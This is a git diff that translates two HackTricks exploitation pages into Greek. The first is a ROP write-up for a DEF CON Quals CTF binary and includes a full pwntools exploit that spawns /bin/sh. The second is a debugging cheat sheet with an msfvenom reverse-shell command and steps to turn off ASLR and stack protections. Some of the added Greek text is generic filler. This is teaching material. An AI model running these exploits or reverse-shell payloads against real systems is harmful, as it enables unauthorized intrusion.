In order to prepare the call for the **syscall** it's needed the following configuration:
|
||||
Για να προετοιμάσουμε την κλήση για το **syscall** απαιτείται η παρακάτω διαμόρφωση:
|
||||
|
||||
* `rax: 59 Specify sys_execve`
|
||||
* `rdi: ptr to "/bin/sh" specify file to execute`
|
||||
* `rsi: 0 specify no arguments passed`
|
||||
* `rdx: 0 specify no environment variables passed`
|
||||
* `rax: 59 Καθορίζει το sys_execve`
|
||||
* `rdi: δείκτης στο "/bin/sh" καθορίζει το αρχείο που θα εκτελεστεί`
|
||||
* `rsi: 0 καθορίζει ότι δεν περνιούνται παράμετροι`
|
||||
* `rdx: 0 καθορίζει ότι δεν περνιούνται μεταβλητές περιβάλλοντος`
|
||||
|
||||
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack).
|
||||
Ουσιαστικά, απαιτείται να γράψουμε το string `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (λαμβάνοντας υπόψη το padding που απαιτείται για τον έλεγχο του stack).
|
||||
|
||||
## Control the registers
|
||||
|
||||
Let's start by finding **how to control those registers**:
|
||||
## Έλεγχος των καταχωρητών
|
||||
|
||||
Ας ξεκινήσουμε βρίσκοντας **πώς να ελέγξουμε αυτούς τους καταχωρητές**:
|
||||
```c
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
|
@ -34,15 +33,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
Με αυτές τις διευθύνσεις είναι δυνατόν να **γραφεί το περιεχόμενο στο stack και να φορτωθεί στους καταχωρητές**.
|
||||
|
||||
With these addresses it's possible to **write the content in the stack and load it into the registers**.
|
||||
## Γράψτε συμβολοσειρά
|
||||
|
||||
## Write string
|
||||
|
||||
### Writable memory
|
||||
|
||||
Frist you need to find a writable place in the memory
|
||||
### Εγγράψιμη μνήμη
|
||||
|
||||
Πρώτα πρέπει να βρείτε ένα εγγράψιμο μέρος στη μνήμη
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
|
@ -51,18 +48,24 @@ Start End Offset Perm Path
|
|||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### Εγγραφή Συμβολοσειράς
|
||||
|
||||
### Write String
|
||||
|
||||
Then you need to find a way to write arbitrary content in this address
|
||||
|
||||
Στη συνέχεια, πρέπει να βρείτε έναν τρόπο να εγγράψετε αυθαίρετο περιεχόμενο σε αυτήν τη διεύθυνση.
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
|
||||
#### 32 bits
|
||||
|
||||
Οι επιθέσεις ROP (Return-Oriented Programming) είναι μια τεχνική εκμετάλλευσης που χρησιμοποιείται για να εκτελέσει κώδικα σε ένα πρόγραμμα, ανακατευθύνοντας τη ροή εκτέλεσης σε υπάρχοντες κώδικες (gadgets). Στην περίπτωση των 32-bit συστημάτων, οι διευθύνσεις μνήμης είναι 4-byte (32-bit) και οι διευθύνσεις επιστροφής (return addresses) αποθηκεύονται στη στοίβα (stack).
|
||||
|
||||
Για να εκτελέσουμε μια επίθεση ROP, πρέπει να βρούμε κατάλληλους gadgets που να περιέχουν τον κώδικα που θέλουμε να εκτελέσουμε. Οι gadgets αυτοί αποτελούνται από ακολουθίες εντολών που τελειώνουν με μια εντολή `ret` (return). Κατά την εκτέλεση της επίθεσης, αντικαθιστούμε τις διευθύνσεις επιστροφής στη στοίβα με τις διευθύνσεις των gadgets που θέλουμε να εκτελέσουμε.
|
||||
|
||||
Ένας τρόπος για να εκτελέσουμε κώδικα με τη χρήση της τεχνικής ROP είναι να χρησιμοποιήσουμε τη συνάρτηση `execv()`. Η `execv()` είναι μια συνάρτηση του συστήματος που εκτελεί ένα πρόγραμμα από ένα αρχείο. Για να εκτελέσουμε τη συνάρτηση `execv()` με τη χρήση της τεχνικής ROP, πρέπει να βρούμε τη διεύθυνση της στον κώδικα του προγράμματος και να την αντικαταστήσουμε στη στοίβα.
|
||||
|
||||
Αφού έχουμε εντοπίσει τη διεύθυνση της συνάρτησης `execv()` στον κώδικα, πρέπει να βρούμε τις απαιτούμενες παραμέτρους για την εκτέλεση της. Οι παράμετροι αυτές πρέπει να αποθηκευτούν στη στοίβα με τη σωστή σειρά, πριν από την εκτέλεση της συνάρτησης.
|
||||
|
||||
Με τη χρήση της τεχνικής ROP και της συνάρτησης `execv()`, μπορούμε να εκτελέσουμε κώδικα από ένα αρχείο σε ένα πρόγραμμα, εκμεταλλευόμενοι τις ευπάθειες του συστήματος.
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
@ -84,9 +87,15 @@ rop += popRax
|
|||
rop += p32(0x6b6000 + 4)
|
||||
rop += writeGadget
|
||||
```
|
||||
|
||||
#### 64 bits
|
||||
|
||||
Τα 64 bits
|
||||
|
||||
Τα 64 bits αναφέρονται στην αρχιτεκτονική ενός συστήματος υπολογιστή που χρησιμοποιεί 64-bit εγγραφές για την αναπαράσταση δεδομένων και εντολών. Αυτό σημαίνει ότι οι εγγραφές μπορούν να αποθηκεύσουν μεγαλύτερες τιμές και να υποστηρίξουν περισσότερη μνήμη από τα 32-bit συστήματα.
|
||||
|
||||
Στον χώρο του hacking, η αντίληψη της αρχιτεκτονικής 64 bits είναι σημαντική καθώς επηρεάζει την εκτέλεση επιθέσεων και την εκμετάλλευση ευπαθειών σε συστήματα Linux. Οι επιθέσεις που αξιοποιούν την αρχιτεκτονική 64 bits απαιτούν τη χρήση τεχνικών όπως η ROP (Return-Oriented Programming) και η ανάκτηση κώδικα (code reuse) για να εκτελέσουν κακόβουλο κώδικα σε ένα σύστημα.
|
||||
|
||||
Για να εκμεταλλευτείτε μια ευπάθεια σε ένα σύστημα Linux με αρχιτεκτονική 64 bits, θα πρέπει να κατανοήσετε την ανατροπή της εκτέλεσης (execution hijacking), την ανάκτηση κώδικα (code reuse) και τη χρήση της ROP (Return-Oriented Programming) για να εκτελέσετε κακόβουλο κώδικα. Αυτές οι τεχνικές επιτρέπουν στον επιτιθέμενο να εκμεταλλευτεί τις ευπαθείς συνθήκες του συστήματος και να αποκτήσει ανεξέλεγκτη πρόσβαση σε αυτό.
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
@ -102,9 +111,20 @@ rop += popRax
|
|||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Παράδειγμα
|
||||
|
||||
## Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
char *args[] = {"/bin/sh", NULL};
|
||||
execv(args[0], args);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Στο παραπάνω παράδειγμα, έχουμε ένα απλό πρόγραμμα C που εκτελεί το `/bin/sh` shell. Η συνάρτηση `execv` χρησιμοποιείται για να εκτελέσει το shell με τη χρήση των ορισμάτων που περνάμε σε αυτήν. Στην περίπτωση αυτή, το πρόγραμμα εκτελεί το `/bin/sh` χωρίς κανένα επιπλέον όρισμα.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -169,23 +189,22 @@ payload = "0"*0x408 + rop
|
|||
# Send the payload, drop to an interactive shell to use our new shell
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,19 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Metasploit
|
||||
|
||||
```
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
|
@ -24,72 +21,87 @@ nasm_shell.rb
|
|||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
|
||||
## Shellcodes
|
||||
|
||||
Οι shellcodes είναι μικρά κομμάτια κώδικα που συνήθως χρησιμοποιούνται σε επιθέσεις εκμεταλλευόμενοι ευπάθειες σε λογισμικό. Ο σκοπός τους είναι να εκτελέσουν επιθετικές ενέργειες στον στόχο, όπως η λήψη του ελέγχου του συστήματος ή η εκτέλεση κακόβουλου κώδικα.
|
||||
|
||||
Οι shellcodes συνήθως γράφονται σε γλώσσες προγραμματισμού χαμηλού επιπέδου, όπως η αρχιτεκτονική αρχείων (assembly), προκειμένου να είναι αποτελεσματικοί και να μπορούν να εκτελεστούν απευθείας από τον επεξεργαστή. Οι shellcodes μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες όπως buffer overflows, format string vulnerabilities και heap overflows.
|
||||
|
||||
Για τη δημιουργία shellcodes, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το Metasploit Framework, το msfvenom και το Shellcode Compiler. Αυτά τα εργαλεία σας επιτρέπουν να δημιουργήσετε shellcodes για διάφορες αρχιτεκτονικές επεξεργαστών και λειτουργικά συστήματα.
|
||||
|
||||
Είναι σημαντικό να θυμάστε ότι η χρήση shellcodes για παράνομες ενέργειες είναι παράνομη και απαράδεκτη. Οι shellcodes πρέπει να χρησιμοποιούνται μόνο για νόμιμους σκοπούς, όπως η δοκιμή ασφάλειας (pentesting) ή η ενίσχυση της ασφάλειας του συστήματος.
|
||||
```
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
|
||||
# GDB
|
||||
|
||||
## Install
|
||||
## Εγκατάσταση
|
||||
|
||||
Για να εγκαταστήσετε το GDB, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Ανοίξτε το τερματικό σας.
|
||||
2. Εκτελέστε την ακόλουθη εντολή για να εγκαταστήσετε το GDB:
|
||||
|
||||
```
|
||||
sudo apt-get install gdb
|
||||
```
|
||||
|
||||
3. Αναμένετε να ολοκληρωθεί η εγκατάσταση.
|
||||
|
||||
Αυτό είναι όλο! Τώρα έχετε εγκαταστήσει το GDB στο σύστημά σας.
|
||||
```
|
||||
apt-get install gdb
|
||||
```
|
||||
## Παράμετροι
|
||||
|
||||
## Parameters
|
||||
**-q** --> Να μην εμφανίζεται το banner\
|
||||
**-x \<αρχείο>** --> Αυτόματη εκτέλεση εντολών GDB από εδώ\
|
||||
**-p \<pid>** --> Σύνδεση σε διεργασία
|
||||
|
||||
**-q** --> No show banner\
|
||||
**-x \<file>** --> Auto-execute GDB instructions from here\
|
||||
**-p \<pid>** --> Attach to process
|
||||
### Εντολές
|
||||
|
||||
### Instructions
|
||||
|
||||
\> **disassemble main** --> Disassemble the function\
|
||||
\> **disassemble main** --> Αποσυναρμολόγηση της συνάρτησης\
|
||||
\> **disassemble 0x12345678**\
|
||||
\> **set disassembly-flavor intel**\
|
||||
\> **set follow-fork-mode child/parent** --> Follow created process\
|
||||
\> **p system** --> Find the address of the system function\
|
||||
\> **set follow-fork-mode child/parent** --> Ακολούθηση δημιουργημένης διεργασίας\
|
||||
\> **p system** --> Εύρεση της διεύθυνσης της συνάρτησης system\
|
||||
\> **help**\
|
||||
\> **quit**
|
||||
|
||||
\> **br func** --> Add breakpoint to function\
|
||||
\> **br func** --> Προσθήκη σημείου αναστολής στη συνάρτηση\
|
||||
\> **br \*func+23**\
|
||||
\> **br \*0x12345678**\
|
||||
**> del NUM** --> Delete that number of br\
|
||||
\> **watch EXPRESSION** --> Break if the value changes
|
||||
**> del NUM** --> Διαγραφή αριθμού br\
|
||||
\> **watch EXPRESSION** --> Διακοπή εάν αλλάξει η τιμή
|
||||
|
||||
**> run** --> Execute\
|
||||
**> start** --> Start and break in main\
|
||||
\> **n/next** --> Execute next instruction (no inside)\
|
||||
\> **s/step** --> Execute next instruction\
|
||||
\> **c/continue** --> Continue until next breakpoint
|
||||
**> run** --> Εκτέλεση\
|
||||
**> start** --> Έναρξη και αναστολή στη main\
|
||||
\> **n/next** --> Εκτέλεση επόμενης εντολής (χωρίς εσωτερικά)\
|
||||
\> **s/step** --> Εκτέλεση επόμενης εντολής\
|
||||
\> **c/continue** --> Συνέχιση μέχρι το επόμενο σημείο αναστολής
|
||||
|
||||
\> **set $eip = 0x12345678** --> Change value of $eip\
|
||||
\> **info functions** --> Info abount functions\
|
||||
\> **info functions func** --> Info of the funtion\
|
||||
\> **info registers** --> Value of the registers\
|
||||
\> **bt** --> Stack\
|
||||
\> **bt full** --> Detailed stack
|
||||
\> **set $eip = 0x12345678** --> Αλλαγή της τιμής του $eip\
|
||||
\> **info functions** --> Πληροφορίες για τις συναρτήσεις\
|
||||
\> **info functions func** --> Πληροφορίες για τη συνάρτηση\
|
||||
\> **info registers** --> Τιμή των μητρώων\
|
||||
\> **bt** --> Στοίβα\
|
||||
\> **bt full** --> Λεπτομερής στοίβα
|
||||
|
||||
\> **print variable**\
|
||||
\> **print 0x87654321 - 0x12345678** --> Caculate\
|
||||
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii
|
||||
\> **print 0x87654321 - 0x12345678** --> Υπολογισμός\
|
||||
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Εμφάνιση περιεχομένου σε οκταδική/εξαδική/δεκαδική/δυαδική/εντολή/ASCII μορφή
|
||||
|
||||
* **x/o 0xDir\_hex**
|
||||
* **x/2x $eip** --> 2Words from EIP
|
||||
* **x/2x $eip** --> 2 λέξεις από το EIP
|
||||
* **x/2x $eip -4** --> $eip - 4
|
||||
* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||
* **i r eip** --> Value of $eip
|
||||
* **x/w pointer** --> Value of the pointer
|
||||
* **x/s pointer** --> String pointed by the pointer
|
||||
* **x/xw \&pointer** --> Address where the pointer is located
|
||||
* **x/i $eip** —> Instructions of the EIP
|
||||
* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||
* **i r eip** --> Τιμή του $eip
|
||||
* **x/w pointer** --> Τιμή του δείκτη
|
||||
* **x/s pointer** --> Συμβολοσειρά που δείχνει ο δείκτης
|
||||
* **x/xw \&pointer** --> Διεύθυνση όπου βρίσκεται ο δείκτης
|
||||
* **x/i $eip** —> Εντολές του EIP
|
||||
|
||||
## [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
```bash
|
||||
checksec #Check protections
|
||||
p system #Find system function address
|
||||
|
@ -109,34 +121,32 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffddd0:
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
gef➤ pattern search 0x6261617762616176
|
||||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
## Κόλπα
|
||||
|
||||
## Tricks
|
||||
### Ίδιες διευθύνσεις στο GDB
|
||||
|
||||
### GDB same addresses
|
||||
|
||||
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
|
||||
Κατά την αποσφαλμάτωση, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιεί το δυαδικό αρχείο κατά την εκτέλεσή του.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας τα εξής:
|
||||
|
||||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<path>` _Put the absolute path to the binary_
|
||||
* Exploit the binary using the same absolute route
|
||||
* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
|
||||
* `set env _=<path>` _Βάλτε την απόλυτη διαδρομή προς το δυαδικό αρχείο_
|
||||
* Εκμεταλλευτείτε το δυαδικό αρχείο χρησιμοποιώντας την ίδια απόλυτη διαδρομή
|
||||
* Τα `PWD` και `OLDPWD` πρέπει να είναι τα ίδια όταν χρησιμοποιείτε το GDB και όταν εκμεταλλεύεστε το δυαδικό αρχείο
|
||||
|
||||
### Backtrace to find functions called
|
||||
|
||||
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
|
||||
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
|
||||
### Ανίχνευση των κλήσεων συναρτήσεων με backtrace
|
||||
|
||||
Όταν έχετε ένα **συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτήν την περίπτωση, θα είναι δύσκολο να **αναγνωρίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα για να ζητήσει είσοδο από τον χρήστη**.\
|
||||
Μπορείτε εύκολα να αναγνωρίσετε αυτήν τη ροή **τρέχοντας** το δυαδικό αρχείο με το **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το πατώντας **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κληθείσες συναρτήσεις:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
@ -145,95 +155,88 @@ gef➤ bt
|
|||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
|
||||
## GDB server
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
|
||||
`gdbserver --multi 0.0.0.0:23947` (στο IDA πρέπει να συμπληρώσετε την απόλυτη διαδρομή του εκτελέσιμου στο μηχάνημα Linux και στο μηχάνημα Windows)
|
||||
|
||||
# Ghidra
|
||||
|
||||
## Find stack offset
|
||||
## Εύρεση μετατόπισης στοίβας
|
||||
|
||||
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
|
||||
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
|
||||
_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
|
||||
**Το Ghidra** είναι πολύ χρήσιμο για να βρείτε τη **μετατόπιση** για ένα **buffer overflow χάρη στις πληροφορίες για τη θέση των τοπικών μεταβλητών.**\
|
||||
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer overflow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση της τάξης του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση της τάξης του `0xac`.\
|
||||
_Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκεύεται το RIP ανήκει στο RBP._
|
||||
|
||||
![](<../../.gitbook/assets/image (616).png>)
|
||||
|
||||
# GCC
|
||||
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
|
||||
**-o** --> Output\
|
||||
**-g** --> Save code (GDB will be able to see it)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Μεταγλώττιση χωρίς προστασίες\
|
||||
**-o** --> Έξοδος\
|
||||
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να τον δει)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Απενεργοποίηση του ASLR στο Linux
|
||||
|
||||
**To compile a shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> return a ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Executable
|
||||
**Για να μεταγλωττίσετε ένα shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Εκτελέσιμο
|
||||
|
||||
# Objdump
|
||||
|
||||
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
|
||||
**-Mintel** --> **Intel** syntax\
|
||||
**-t** --> **Symbols** table\
|
||||
**-D** --> **Disassemble all** (address of static variable)\
|
||||
**-s -j .dtors** --> dtors section\
|
||||
**-s -j .got** --> got section\
|
||||
\-D -s -j .plt --> **plt** section **decompiled**\
|
||||
**-TR** --> **Relocations**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section).
|
||||
**-d** --> Αποσυναρμολόγηση ενοτήτων εκτελέσιμου (δείτε τους κωδικούς ενός μεταγλωττισμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
|
||||
**-Mintel** --> Σύνταξη **Intel**\
|
||||
**-t** --> Πίνακας **συμβόλων**\
|
||||
**-D** --> Αποσυναρμολόγηση όλων (διεύθυνση στατικής μεταβλητής)\
|
||||
**-s -j .dtors** --> ενότητα dtors\
|
||||
**-s -j .got** --> ενότητα got\
|
||||
\-D -s -j .plt --> **plt** ενότητα **αποσυναρμολογημένη**\
|
||||
**-TR** --> **Ανακατατάξεις**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση μιας στατικής μεταβλητής (αυτές αποθηκεύονται στην ενότητα DATA).
|
||||
|
||||
# Core dumps
|
||||
|
||||
1. Run `ulimit -c unlimited` before starting my program
|
||||
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμά μου
|
||||
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
# More
|
||||
|
||||
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
|
||||
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν υπάρχει ASLR, τότε αλλάζει κάθε φορά)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Επανάληψη για να δείτε αν η διεύθυνση αλλάζει πολύ\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Μετατόπιση του "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Μετατόπιση του "/bin/sh"
|
||||
|
||||
**strace executable** --> Functions called by the executable\
|
||||
**rabin2 -i ejecutable -->** Address of all the functions
|
||||
